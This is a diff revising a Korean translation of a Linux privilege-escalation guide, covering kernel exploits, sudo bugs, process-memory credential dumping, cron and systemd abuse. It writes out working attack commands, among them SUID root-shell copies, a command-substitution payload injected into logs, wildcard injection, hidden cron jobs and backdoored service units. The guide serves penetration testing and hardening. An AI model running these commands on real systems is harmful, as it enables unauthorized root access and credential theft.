+여기에서 괜찮은 취약 커널 목록과 이미 **compiled exploits**를 찾을 수 있습니다: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 및 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
+다른 사이트들에서도 일부 **compiled exploits**를 찾을 수 있습니다: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
-해당 웹에서 모든 취약한 커널 버전을 추출하려면 다음을 실행할 수 있습니다:
+해당 웹에서 모든 취약 커널 버전을 추출하려면 다음을 실행하세요:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
@@ -43,9 +43,9 @@ kernel exploits를 검색하는 데 도움이 될 수 있는 도구는 다음과
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
-[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victim에서 실행 — kernel 2.x용 exploits만 확인)
+[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victim에서 실행, kernel 2.x용 exploits만 확인)
-항상 **kernel version을 Google에서 검색하세요**, 아마도 당신의 kernel 버전이 어떤 kernel exploit에 명시되어 있을 수 있으며, 그러면 그 exploit가 유효한지 확신할 수 있습니다.
+항상 **Google에서 kernel version을 검색하세요**, 해당 kernel version이 어떤 kernel exploit에 기재되어 있으면 그 exploit가 유효하다는 것을 확신할 수 있습니다.
### CVE-2016-5195 (DirtyCow)
@@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
### Sudo 버전
-다음에 표시되는 취약한 sudo 버전을 기반으로:
+다음에 나타나는 취약한 sudo 버전을 기반으로:
```bash
searchsploit sudo
```
@@ -75,11 +75,11 @@ sudo -u#-1 /bin/bash
```
### Dmesg 서명 검증 실패
-**smasher2 box of HTB**에서 이 vuln이 어떻게 악용될 수 있는지에 대한 **예시**를 확인하세요.
+이 vuln이 어떻게 악용될 수 있는지에 대한 **예시**는 **smasher2 box of HTB**를 확인하세요.
```bash
dmesg 2>/dev/null | grep "signature"
```
-### 더 많은 system enumeration
+### 추가 system enumeration
```bash
date 2>/dev/null #Date
(df -h || lsblk) #System stats
@@ -123,16 +123,15 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null
```
## Docker Breakout
-만약 docker container 내부에 있다면 그곳에서 탈출을 시도할 수 있습니다:
-
+만약 docker container 내부에 있다면 탈출을 시도할 수 있습니다:
{{#ref}}
docker-security/
{{#endref}}
-## 드라이브
+## Drives
-**무엇이 마운트되어 있고 해제되어 있는지**, 어디에, 그리고 왜 마운트되어 있는지 확인하세요. 만약 어떤 항목이 해제되어 있다면 마운트해 보고 개인 정보를 확인해 보세요.
+무엇이 **마운트되어 있고 마운트 해제되어 있는지**, 어디에 있으며 왜 그런지 확인하세요. 만약 어떤 항목이 마운트 해제되어 있다면 이를 마운트해 개인 정보를 확인해보세요.
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@@ -141,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```
## 유용한 소프트웨어
-유용한 바이너리를 열거
+유용한 binaries 열거
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
-또한 **컴파일러가 설치되어 있는지 확인하세요**. 이는 일부 kernel exploit을 사용해야 하는 경우 유용합니다 — 사용하려는 머신(또는 유사한 머신)에서 컴파일하는 것이 권장되기 때문입니다.
+또한 **컴파일러가 설치되어 있는지** 확인하세요. 일부 kernel exploit을 사용해야 할 경우 유용한데, 해당 exploit은 사용하는 머신(또는 유사한 머신)에서 compile하는 것이 권장됩니다.
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
-### 설치된 취약 소프트웨어
+### 취약한 소프트웨어 설치됨
-**설치된 패키지와 서비스의 버전**을 확인하세요. 아마 오래된 Nagios 버전(예를 들어)이 있어 escalating privileges에 악용될 수 있습니다…\
-더 의심스러운 설치된 소프트웨어의 버전을 수동으로 확인하는 것이 좋습니다.
+**설치된 패키지와 서비스의 버전**을 확인하세요. 예를 들어 오래된 Nagios 버전이 있어 권한 상승에 악용될 수 있습니다…\
+의심스러운 설치된 소프트웨어의 버전은 수동으로 확인하는 것이 권장됩니다.
```bash
dpkg -l #Debian
rpm -qa #Centos
```
-If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine.
+만약 머신에 SSH 접근 권한이 있다면, 머신에 설치된 오래되었거나 취약한 소프트웨어를 확인하기 위해 **openVAS**를 사용할 수도 있습니다.
-> [!NOTE] > _이 명령어들은 대부분 쓸모없는 많은 정보를 출력하므로, 설치된 소프트웨어 버전이 알려진 exploits에 취약한지 확인해 주는 OpenVAS 같은 애플리케이션을 사용하는 것이 권장됩니다_
+> [!NOTE] > _이 명령어들은 대부분 쓸모없는 정보가 많이 출력될 수 있으므로, 설치된 소프트웨어 버전이 알려진 exploits에 취약한지 검사해주는 OpenVAS와 같은 애플리케이션 사용을 권장합니다_
-## Processes
+## 프로세스
-어떤 **프로세스들이** 실행되고 있는지 살펴보고 어떤 프로세스가 **가져야 할 것보다 더 많은 권한**을 가지고 있는지 확인하세요 (예: root로 실행되는 tomcat?)
+어떤 **프로세스**가 실행되고 있는지 살펴보고, 어떤 프로세스가 **필요 이상으로 더 많은 권한**으로 실행되고 있지는 않은지 확인하세요 (예: tomcat이 root로 실행되는 경우?)
```bash
ps aux
ps -ef
top -n 1
```
-Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\
-Also **check your privileges over the processes binaries**, maybe you can overwrite someone.
+항상 [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas**는 프로세스 명령줄에서 `--inspect` 파라미터를 확인하여 이를 탐지합니다.\
+또한 **프로세스 바이너리 권한**을 확인하세요. 누군가의 바이너리를 덮어쓸 수 있을지도 모릅니다.
-### Process monitoring
+### 프로세스 모니터링
-You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.
+프로세스를 모니터링하기 위해 [**pspy**](https://github.com/DominicBreuker/pspy)와 같은 도구를 사용할 수 있습니다. 이는 취약한 프로세스가 자주 실행되거나 특정 조건이 충족될 때 이를 식별하는 데 매우 유용할 수 있습니다.
-### Process memory
+### 프로세스 메모리
-Some services of a server save **credentials in clear text inside the memory**.\
-Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\
-However, remember that **as a regular user you can read the memory of the processes you own**.
+일부 서버 서비스는 **메모리 내부에 자격 증명(credentials)을 평문으로 저장**합니다.\
+일반적으로 다른 사용자가 소유한 프로세스의 메모리를 읽으려면 **root privileges**가 필요하므로, 이는 보통 이미 root인 경우 추가 자격 증명을 찾는 데 더 유용합니다.\
+하지만 **일반 사용자로서 자신이 소유한 프로세스의 메모리는 읽을 수 있다**는 점을 기억하세요.
> [!WARNING]
-> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user.
+> 요즘 대부분의 머신은 기본적으로 **ptrace를 허용하지 않습니다**, 즉 권한이 없는 사용자가 소유한 다른 프로세스를 덤프할 수 없습니다.
>
-> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace:
+> 파일 _**/proc/sys/kernel/yama/ptrace_scope**_는 ptrace의 접근성을 제어합니다:
>
-> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked.
-> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged.
-> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability.
-> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.
+> - **kernel.yama.ptrace_scope = 0**: 같은 uid를 가지기만 하면 모든 프로세스를 디버그할 수 있습니다. 이것이 ptracing이 작동하던 전통적인 방식입니다.
+> - **kernel.yama.ptrace_scope = 1**: 부모 프로세스만 디버그될 수 있습니다.
+> - **kernel.yama.ptrace_scope = 2**: 관리자만 ptrace를 사용할 수 있으며, 이는 CAP_SYS_PTRACE 권한이 필요합니다.
+> - **kernel.yama.ptrace_scope = 3**: 어떤 프로세스도 ptrace로 추적될 수 없습니다. 이 값으로 설정되면 ptracing을 다시 활성화하려면 재부팅이 필요합니다.
#### GDB
-If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials.
+예를 들어 FTP 서비스의 메모리에 접근할 수 있다면 Heap을 얻어 그 안의 자격 증명을 검색할 수 있습니다.
```bash
gdb -p
(gdb) info proc mappings
@@ -216,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
-주어진 프로세스 ID에 대해, **maps는 해당 프로세스의 가상 주소 공간 내에서 메모리가 어떻게 매핑되어 있는지 보여줍니다**; 또한 **각 매핑된 영역의 권한**을 표시합니다. **mem** 의사 파일은 **프로세스의 메모리 자체를 노출합니다**. **maps** 파일로부터 어떤 **메모리 영역이 읽기 가능한지**와 그 오프셋을 알 수 있습니다. 이 정보를 사용하여 **mem 파일에서 찾아가 모든 읽기 가능한 영역을 파일로 덤프합니다**.
+주어진 프로세스 ID에 대해, **maps는 해당 프로세스의 가상 주소 공간 내에서 메모리가 어떻게 매핑되는지를 보여주며**; 또한 **각 매핑된 영역의 permissions**를 표시합니다. **mem** 가상 파일은 **프로세스의 메모리 자체를 노출합니다**. **maps** 파일에서 어떤 **메모리 영역이 읽을 수 있는지**와 그 오프셋을 알 수 있습니다. 이 정보를 사용해 **mem 파일을 seek하여 모든 읽을 수 있는 영역을 dump**하고 파일로 저장합니다.
```bash
procdump()
(
@@ -231,14 +230,14 @@ rm $1*.bin
```
#### /dev/mem
-`/dev/mem`은 시스템의 **물리적** 메모리에 접근할 수 있게 해주며, 가상 메모리는 아닙니다. 커널의 가상 주소 공간은 /dev/kmem을 사용해 접근할 수 있습니다.\
-일반적으로, `/dev/mem`은 **root**와 **kmem** 그룹에서만 읽을 수 있습니다.
+`/dev/mem`은 시스템의 **물리적** 메모리에 대한 접근을 제공하며, 가상 메모리는 아닙니다. 커널의 가상 주소 공간은 /dev/kmem을 사용하여 접근할 수 있습니다.\
+일반적으로, `/dev/mem`은 **root**와 **kmem** 그룹만 읽을 수 있습니다.
```
strings /dev/mem -n10 | grep -i PASS
```
-### ProcDump (linux용)
+### ProcDump for linux
-ProcDump는 Windows용 Sysinternals 도구 모음에 있는 고전적인 ProcDump 도구를 Linux용으로 재구성한 것입니다. 다운로드: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
+ProcDump는 Windows용 Sysinternals 도구 모음의 고전적인 ProcDump 도구를 Linux용으로 재구성한 것입니다. 다음에서 확인하세요: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
```
procdump -p 1714
@@ -270,28 +269,28 @@ Press Ctrl-C to end monitoring without terminating the process.
프로세스 메모리를 덤프하려면 다음을 사용할 수 있습니다:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
-- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_요구사항을 수동으로 제거하고 자신이 소유한 프로세스를 덤프할 수 있습니다
-- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root 권한 필요)
+- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_수동으로 root 요구사항을 제거하고 자신이 소유한 프로세스를 덤프할 수 있습니다
+- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root가 필요합니다)
-### 프로세스 메모리에서의 자격 증명
+### 프로세스 메모리에서 자격 증명
-#### 수동 예제
+#### 수동 예시
-If you find that the authenticator process is running:
+authenticator 프로세스가 실행 중인 것을 발견하면:
```bash
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
-프로세스를 dump할 수 있으며(이전 섹션을 참조해 프로세스의 메모리를 dump하는 다양한 방법을 확인하세요) 메모리 내에서 자격 증명을 검색할 수 있습니다:
+프로세스를 dump할 수 있고(프로세스의 memory를 dump하는 다양한 방법은 앞 섹션을 참조하세요) 메모리 내에서 credentials를 검색할 수 있습니다:
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
```
#### mimipenguin
-해당 도구 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)는 **steal clear text credentials from memory** 및 일부 **well known files**에서 자격증명을 탈취합니다. 정상적으로 작동하려면 root 권한이 필요합니다.
+이 도구 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)는 메모리와 일부 **well known files**에서 **clear text credentials**를 훔칩니다. 정상적으로 작동하려면 root 권한이 필요합니다.
-| 기능 | 프로세스 이름 |
+| Feature | Process Name |
| ------------------------------------------------- | -------------------- |
| GDM password (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
@@ -314,41 +313,39 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
```
-## 예약된/Cron jobs
+## 예약된/Cron 작업
-### Crontab UI (alseambusher)가 root로 실행 중 – web-based scheduler privesc
+### Crontab UI (alseambusher)가 root로 실행되는 경우 – 웹 기반 스케줄러 privesc
-웹 “Crontab UI” 패널(alseambusher/crontab-ui)이 root로 실행 중이고 loopback에만 바인딩되어 있으면, SSH local port-forwarding을 통해 접근하여 privileged job을 생성해 escalate할 수 있습니다.
+웹 “Crontab UI” 패널(alseambusher/crontab-ui)이 root로 실행되고 loopback에만 바인딩되어 있어도, SSH local port-forwarding을 통해 접근해 권한 상승을 위한 privileged job을 생성할 수 있습니다.
-Typical chain
-- loopback 전용 포트(예: 127.0.0.1:8000) 및 Basic-Auth realm을 `ss -ntlp` / `curl -v localhost:8000`로 확인
-- 운영 아티팩트에서 자격증명 찾기:
- - 백업/스크립트에서 `zip -P `
- - systemd 유닛에서 `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` 노출
-- 터널링 및 로그인:
+일반적인 흐름
+- 루프백 전용 포트(예: 127.0.0.1:8000)와 Basic-Auth realm을 `ss -ntlp` / `curl -v localhost:8000`로 찾음
+- 운영 아티팩트에서 자격 증명 찾기:
+ - 백업/스크립트에서 (`zip -P `)
+ - systemd 유닛에서 노출된 `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."`
+- 터널링 후 로그인:
```bash
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
```
-- 높은 권한의 작업을 생성하고 즉시 실행합니다 (drops SUID shell):
+- high-priv job을 생성하고 즉시 실행 (drops SUID shell):
```bash
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
```
-- 사용하기:
+- 사용하세요:
```bash
/tmp/rootshell -p # root shell
```
-하드닝
+보안 강화
- Crontab UI를 root로 실행하지 마세요; 전용 사용자와 최소 권한으로 제한하세요
- localhost에 바인딩하고 추가로 firewall/VPN으로 접근을 제한하세요; 비밀번호를 재사용하지 마세요
-- unit files에 secrets를 포함하지 마세요; secret stores나 root 전용 EnvironmentFile을 사용하세요
-- on-demand job 실행에 대해 audit/logging을 활성화하세요
+- unit files에 secrets를 포함하지 마세요; secret stores 또는 root-only EnvironmentFile을 사용하세요
+- on-demand job executions에 대한 audit/logging을 활성화하세요
-
-
-예약된 작업들 중 취약한 것이 있는지 확인하세요. root에 의해 실행되는 스크립트를 이용할 수 있을지도 모릅니다 (wildcard vuln? root가 사용하는 파일을 수정할 수 있는가? symlinks를 사용할 수 있는가? root가 사용하는 디렉토리에 특정 파일을 생성할 수 있는가?).
+예약된 작업(scheduled job)이 취약한지 확인하세요. 루트(root)에 의해 실행되는 스크립트를 악용할 수 있을지도 모릅니다 (wildcard vuln? root가 사용하는 파일을 수정할 수 있나? symlinks 사용? root가 사용하는 디렉터리에 특정 파일을 생성?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@@ -358,24 +355,24 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
예를 들어, _/etc/crontab_ 안에서 다음과 같은 PATH를 찾을 수 있습니다: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
-(_사용자 "user"가 /home/user에 쓰기 권한이 있는 것을 주목하세요_)
+(_user 사용자가 /home/user에 쓰기 권한이 있다는 점에 주의하세요_)
-이 crontab 안에서 root 사용자가 PATH를 설정하지 않고 어떤 명령이나 스크립트를 실행하려고 하면. 예를 들어: _\* \* \* \* root overwrite.sh_\
-그러면, 다음을 사용해서 root shell을 얻을 수 있습니다:
+이 crontab에서 root 사용자가 PATH를 설정하지 않고 어떤 명령이나 스크립트를 실행하려고 한다면, 예를 들어: _\* \* \* \* root overwrite.sh_\
+그러면 다음을 사용해 root shell을 얻을 수 있습니다:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
-### Cron using a script with a wildcard (Wildcard Injection)
+### Cron: 와일드카드가 포함된 스크립트를 사용하는 경우 (Wildcard Injection)
-스크립트가 root에 의해 실행되고 명령 안에 “**\***”가 포함되어 있다면, 이를 악용해 예상치 못한 동작(예: privesc)을 유발할 수 있습니다. 예:
+스크립트가 root에 의해 실행되고 명령어 안에 “**\***”가 포함되어 있다면, 이를 악용해 예상치 못한 동작(예: privesc)을 유발할 수 있습니다. 예:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
-**경로 앞에 wildcard가 오는 경우 예:** _**/some/path/\***_ **, 취약하지 않습니다 (심지어** _**./\***_ **도 아닙니다).**
+**와일드카드가 다음과 같은 경로 앞에 있는 경우** _**/some/path/\***_ **취약하지 않습니다 (심지어** _**./\***_ **도 취약하지 않습니다).**
-Read the following page for more wildcard exploitation tricks:
+다음 페이지를 읽어 더 많은 wildcard exploitation 트릭을 확인하세요:
{{#ref}}
@@ -385,9 +382,9 @@ wildcards-spare-tricks.md
### Bash arithmetic expansion injection in cron log parsers
-Bash는 ((...)), $((...)) 및 let에서 arithmetic evaluation 전에 parameter expansion과 command substitution을 수행합니다. root cron/parser가 신뢰할 수 없는 로그 필드를 읽어 이를 arithmetic context로 전달하면, 공격자는 command substitution $(...)을 주입해 cron이 실행될 때 root로 실행되게 할 수 있습니다.
+Bash는 ((...)), $((...)) 및 let 내에서 산술 평가 전에 parameter expansion과 command substitution을 수행합니다. 만약 root cron/parser가 신뢰할 수 없는 로그 필드를 읽어 이를 산술 컨텍스트에 넣는다면, 공격자는 $(...) 형태의 command substitution을 주입하여 cron이 실행될 때 root로 실행되게 할 수 있습니다.
-- Why it works: Bash에서는 expansions가 다음 순서로 발생합니다: parameter/variable expansion, command substitution, arithmetic expansion, 그리고 word splitting 및 pathname expansion. 따라서 `$(/bin/bash -c 'id > /tmp/pwn')0` 같은 값은 먼저 substitution되어(명령이 실행됨), 남은 숫자 `0`이 arithmetic에 사용되어 스크립트가 오류 없이 계속됩니다.
+- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors.
- Typical vulnerable pattern:
```bash
@@ -399,7 +396,7 @@ while IFS=',' read -r ts user count rest; do
done < /var/www/app/log/application.log
```
-- Exploitation: 파싱되는 로그에 공격자가 제어하는 텍스트를 기록하게 해서 숫자처럼 보이는 필드에 command substitution이 포함되고 끝이 숫자가 되게 합니다. 명령이 stdout에 출력을 하지 않거나(또는 리다이렉트) 산술이 유효하도록 하세요.
+- Exploitation: 파싱되는 로그에 attacker-controlled 텍스트를 기록하여 숫자처럼 보이는 필드에 command substitution을 포함시키고 끝이 숫자가 되게 하세요. 명령이 stdout으로 출력하지 않도록 하거나(또는 리다이렉트) 해야 산술이 유효하게 유지됩니다.
```bash
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
@@ -408,29 +405,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
### Cron script overwriting and symlink
-If you **can modify a cron script** executed by root, you can get a shell very easily:
+만약 당신이 root로 실행되는 cron script를 **수정할 수 있다면**, 매우 쉽게 shell을 얻을 수 있습니다:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed
/tmp/bash -p
```
-root가 실행하는 script가 당신이 full access를 가진 directory를 사용한다면, 그 folder를 삭제하고 당신이 제어하는 script를 제공하는 다른 folder를 가리키는 symlink folder를 만드는 것이 유용할 수 있다.
+root에 의해 실행되는 script가 **directory where you have full access**를 사용한다면, 해당 folder를 삭제하고 당신이 제어하는 script를 제공하는 다른 폴더로 **create a symlink folder to another one** 하는 것이 유용할 수 있습니다.
```bash
ln -d -s
```
-### 자주 실행되는 cron jobs
+### 자주 실행되는 cron 작업
-프로세스를 모니터링하여 1, 2 또는 5분마다 실행되는 프로세스를 찾아볼 수 있습니다. 이를 이용해 escalate privileges 할 수도 있습니다.
+프로세스를 모니터링하여 1, 2 또는 5분마다 실행되는 프로세스를 찾을 수 있습니다. 이를 이용해 권한을 상승시킬 수도 있습니다.
-예를 들어, **1분 동안 0.1초마다 모니터링**, **실행 횟수가 적은 명령으로 정렬**하고 가장 많이 실행된 명령을 삭제하려면, 다음을 실행하면 됩니다:
+예를 들어, **1분 동안 0.1초마다 모니터링**, **실행 횟수가 적은 명령 순으로 정렬**하고 가장 많이 실행된 명령을 삭제하려면 다음과 같이 할 수 있습니다:
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
-**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (이 도구는 시작되는 모든 프로세스를 모니터링하고 나열합니다).
+**또한 사용할 수 있습니다** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts).
-### 보이지 않는 cron jobs
+### 숨겨진 cron jobs
-주석 뒤에 **캐리지 리턴(개행 문자 없이)**을 넣어 cronjob을 생성할 수 있으며, cron job은 정상적으로 작동합니다. 예시(캐리지 리턴 문자를 주목하세요):
+cronjob을 생성할 때 **주석 뒤에 carriage return을 넣는 것** (without newline character)처럼 하면 cron job이 작동합니다. 예제 (참고: carriage return char):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@@ -438,53 +435,51 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### 쓰기 가능한 _.service_ 파일
-어떤 `.service` 파일을 쓸 수 있는지 확인하세요. 쓸 수 있다면, 그것을 **수정할 수 있습니다** 그래서 서비스가 **시작될 때**, **재시작될 때** 또는 **중지될 때** 당신의 **backdoor**가 **실행되도록** 만들 수 있습니다 (머신을 재부팅할 때까지 기다려야 할 수도 있습니다).\
-예를 들어 .service 파일 안에 backdoor를 만들고 **`ExecStart=/tmp/script.sh`** 로 설정하세요.
+어떤 `.service` 파일에 쓸 수 있는지 확인하세요. 쓸 수 있다면, 해당 파일을 **수정하여** 서비스가 **시작될 때**, **재시작될 때** 또는 **중지될 때** 당신의 **backdoor를 실행**하도록 만들 수 있습니다 (머신을 재부팅해야 할 수도 있습니다).\
+예를 들어, .service 파일 안에 당신의 backdoor를 생성하고 **`ExecStart=/tmp/script.sh`**로 지정하세요
### 쓰기 가능한 서비스 바이너리
-서비스가 실행하는 바이너리에 대해 **쓰기 권한**이 있다면, 해당 바이너리를 backdoors로 변경하여 서비스가 재실행될 때 backdoors가 실행되도록 할 수 있다는 점을 기억하세요.
+서비스에 의해 실행되는 바이너리에 대한 **쓰기 권한이 있는 경우**, 이를 변경해 backdoors를 심을 수 있으며, 서비스가 다시 실행될 때 backdoors가 실행됩니다.
-### systemd PATH - Relative Paths
+### systemd PATH - 상대 경로
다음 명령으로 **systemd**가 사용하는 PATH를 확인할 수 있습니다:
```bash
systemctl show-environment
```
-경로의 폴더들 중 어느 곳에 **write** 할 수 있다면 **escalate privileges** 할 수 있을 가능성이 있습니다. 다음과 같은 서비스 구성 파일에서 **relative paths being used on service configurations** 를 사용하고 있는지 찾아야 합니다:
+경로의 폴더 중 어느 곳에 **write**할 수 있다면 **escalate privileges**할 수 있습니다. 다음과 같은 파일들에서 **relative paths being used on service configurations**을 찾아야 합니다:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
-그런 다음, 쓸 수 있는 systemd PATH 폴더 안에 상대 경로 바이너리와 **같은 이름의 실행 파일**을 생성하세요. 서비스가 취약한 동작(**Start**, **Stop**, **Reload**)을 실행하도록 요청되면 여러분의 **백도어가 실행됩니다** (`sudo -l`을 사용해 확인해 보세요 — 권한 없는 사용자는 보통 서비스를 시작/중지할 수 없습니다).
+그런 다음, 작성 가능한 systemd PATH 폴더 안에 relative path binary와 같은 이름의 **executable**을 만들고, 서비스가 취약한 동작(**Start**, **Stop**, **Reload**)을 실행하도록 요청되면 당신의 **backdoor**가 실행됩니다 (권한 없는 사용자는 보통 서비스를 시작/중지할 수 없지만 `sudo -l`을 사용할 수 있는지 확인하세요).
-**Learn more about services with `man systemd.service`.**
+**서비스에 대해 더 알아보려면 `man systemd.service`를 참고하세요.**
## **타이머**
-**타이머**는 이름이 `**.timer**`로 끝나며 `**.service**` 파일이나 이벤트를 제어하는 systemd 유닛 파일입니다. **타이머**는 캘린더 시간 이벤트와 단조 시간 이벤트를 기본적으로 지원하고 비동기적으로 실행할 수 있기 때문에 cron의 대안으로 사용할 수 있습니다.
+**타이머**는 이름이 `**.timer**`로 끝나며 `**.service**` 파일이나 이벤트를 제어하는 systemd unit 파일입니다. **타이머**는 캘린더 시간 이벤트와 monotonic 시간 이벤트를 기본으로 지원하고 비동기적으로 실행할 수 있어 cron의 대안으로 사용할 수 있습니다.
-You can enumerate all the timers with:
+다음 명령으로 모든 타이머를 열거할 수 있습니다:
```bash
systemctl list-timers --all
```
### 쓰기 가능한 타이머
-타이머를 수정할 수 있다면 systemd.unit에 존재하는 일부 항목(예: `.service` 또는 `.target`)을 실행하도록 만들 수 있다.
+타이머를 수정할 수 있다면 systemd.unit의 일부 항목(예: `.service` 또는 `.target`)을 실행하도록 만들 수 있습니다.
```bash
Unit=backdoor.service
```
-In the documentation you can read what the Unit is:
+> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.
-> 이 타이머가 만료될 때 활성화할 Unit입니다. 인수는 접미사가 ".timer"가 아닌 unit 이름입니다. 지정하지 않으면, 이 값은 접미사를 제외하고 timer unit과 동일한 이름을 가진 service로 기본 설정됩니다. (위 참조.) 활성화되는 unit 이름과 timer unit의 이름은 접미사를 제외하고 동일하게 지정하는 것이 권장됩니다.
+따라서, 이 권한을 악용하려면 다음이 필요합니다:
-Therefore, to abuse this permission you would need to:
+- 쓰기 가능한 바이너리를 **실행하는** systemd unit(예: `.service`)을 찾습니다
+- **상대 경로를 실행하는** systemd unit을 찾고, 해당 **systemd PATH**에 대해 **쓰기 권한**이 있어 그 실행파일을 가장(impersonate)할 수 있어야 합니다
-- Find some systemd unit (like a `.service`) that is **쓰기 가능한 바이너리를 실행하는**
-- Find some systemd unit that is **상대 경로를 실행하는** and you have **쓰기 권한** over the **systemd PATH** (to impersonate that executable)
-
-**`man systemd.timer`로 타이머에 대해 더 알아보세요.**
+**타이머에 대해 더 알아보려면 `man systemd.timer`를 참고하세요.**
